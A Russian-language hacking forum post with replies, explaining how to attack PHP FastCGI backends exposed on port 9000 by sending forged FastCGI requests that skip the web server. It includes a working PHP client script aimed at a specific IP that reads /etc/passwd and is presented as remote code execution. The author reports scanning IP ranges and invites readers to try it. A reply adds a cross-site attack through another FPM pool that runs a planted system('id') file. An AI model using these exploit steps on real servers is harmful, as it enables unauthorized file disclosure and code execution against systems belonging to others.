Введение Как правило, при увеличении масштаба проекта появляются дополнительные серверы и оборудование. Не всегда это базы данных и кэшеры. Иногда это и вычислительные мощности, на которых стоит PHP, а как известно PHP может работать в нескольких режимах. О всех я писать не буду, рассмотрим лишь режим CGI и что с него можно поиметь. Как вы могли заметить, на данный момент наиболее часто встречаемым веб-сервером является nginx. Для связи с PHP данный сервер использует конструкцию вроде: Code: location ~ \.php$ { root /var/www/; fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME /var/www/$fastcgi_script_name; include fastcgi_params; } Все запросы касаемые работу с PHP идут на 9000 порт хоста 127.0.0.1. В случае, если PHP находится на стороннем сервере, можно предположить, что 9000 порт на этом сервере открыт для внешних соединений, пусть и не всегда для наших Что еще можно заметить из кода? А то, что для обращения используется протокол FastCGI. Становится понятно, что мы можем попробовать отправить на бэкэнд свой CGI-запрос, минуя веб-сервер. В качестве примера я поставил на тестовом сервере (на котором было 35 задание) Nginx, Spawn-FCGI и PHP5-CGI. Spawn-fcgi в данном случае нужен для связи веб-сервера с PHP. По умолчанию при запуске PHP-CGI используется локальный IP. В случае отдельного сервера возможна прослушка как внешнего ипа, так и всех интерфейсов. Выглядит это примерно так cat /etc/init.d/php-cgi Code: #!/bin/bash PHP_FCGI_CHILDREN=3 PHP_FCGI_MAX_REQUESTS=1000 PHP_SCRIPT="/usr/bin/spawn-fcgi -a [COLOR=Red]0.0.0.0[/COLOR] -p 9000 -u www-data -g www-data -f /u sr/bin/php5-cgi" RETVAL=0 case "$1" in start) $PHP_SCRIPT RETVAL=$? ;; stop) killall -9 php5-cgi RETVAL=$? ;; restart) killall -9 php5-cgi $PHP_SCRIPT RETVAL=$? ;; *) echo "Usage: sudo $0 {start|stop|restart}" exit 1 ;; esac exit $RETVAL Ок. PHP слушает 9000 порт, просканим хост с помощью nmap. Как видно "слушатель" помечен как "tcpwrapped". Как действуем? Логично предположить, что нам нужно как-то послать специальный запрос к php с помощью FCGI протокола. Изобретать ничего не нужно, уже есть готовые решения. Одним из таковых является PHP-FastCGI-Client. С помощью него, мы можем совершить покушение. Ссылка для клонирования: https://github.com/adoy/PHP-FastCGI-Client. Если посмотреть оригинальный запрос веб-сервера к php, подменим php "nc -lvp 9000" мы можем видеть следующее: Отсюда видно, что SCRIPT_FILENAME указывает нашему интерпретатору файл, из которого нужно брать код. Мы же можем изменить запрос для проведения RCE. В качестве жертвы я выбрал файл /etc/passwd. cat fcgiget.php PHP: <?php require('fastcgi.php'); $client = new FCGIClient('54.214.3.90', 9000); $params = array( 'GATEWAY_INTERFACE' => 'CGI/1.1', 'REQUEST_METHOD' => 'GET', 'SCRIPT_FILENAME' => '/etc/passwd', 'SCRIPT_NAME' => '', 'QUERY_STRING' => '', 'REQUEST_URI' => '', 'DOCUMENT_URI' => '', 'SERVER_SOFTWARE' => 'nginx/1.5.5', 'REMOTE_ADDR' => '127.0.0.1', 'REMOTE_PORT' => '9985', 'SERVER_ADDR' => '127.0.0.1', 'SERVER_PORT' => '80', 'SERVER_NAME' => '127.0.0.1', 'SERVER_PROTOCOL' => 'HTTP/1.1', 'CONTENT_TYPE' => '', 'CONTENT_LENGTH' => 0, 'REDIRECT_STATUS' => '200', 'HTTP_USER_AGENT' => 'Mozilla/5.0 (X11; Linux i686 on x86_64; rv:23.0)' ); echo $client->request($params, false)."\n"; Проверим так ли всё хорошо. Гуд ворк, файл проинклужен Дальше по накатанной. Видео с демонстрацией инклуда: http://www.youtube.com/watch?v=O98KsYKJqoo А теперь о проблемах В большинстве случаев, на реальных серверах в качестве FCGI выступает PHP-FPM, у которого есть свои политики безопасности. Проблема в том, что по умолчанию выполнять он может только файлы с расширением .php, что делает нас бессильными. Я проверил пару вариантов по поводу обхода ограничения на расширение, но пока безуспешно. Если у вас есть идеи по этому поводу, было бы здорово Вторая проблема - это то, что не всегда используется 9000 порт, но для этого нужно лишь время, чтобы собрать наиболее используемые. Третья проблема заключается в ошибке, которую я пока не распознал. Просканировав некоторый диапазон IP на открытость порта, и проверив вручную багу, получить ответ от сервера не удалось. С чем это связано пока не ясно. Возможно какие-то защиты, а возможно из клиента нужно отправлять еще какие-то параметры. Но это уже покажет время. Пробуйте
На смом деле в реале ни разу не встречал, что бы кто-то вешал php на отдельный порт, давая этому порту доступ из вне, чаще всего если и вешают то доступ непосредственно локалхосту, или же работает в сокете
При некоторой конфигурации FastCGI возможен взлом других сайтов на сервере. Пример php-fpm.conf когда есть несколько pool-ов: Ломаем site1, создаем файл /tmp/pwn.php PHP: <?php system('id'); ?> Шлем пакет на 127.0.0.1:9002 и запрашиваем /tmp/pwn.php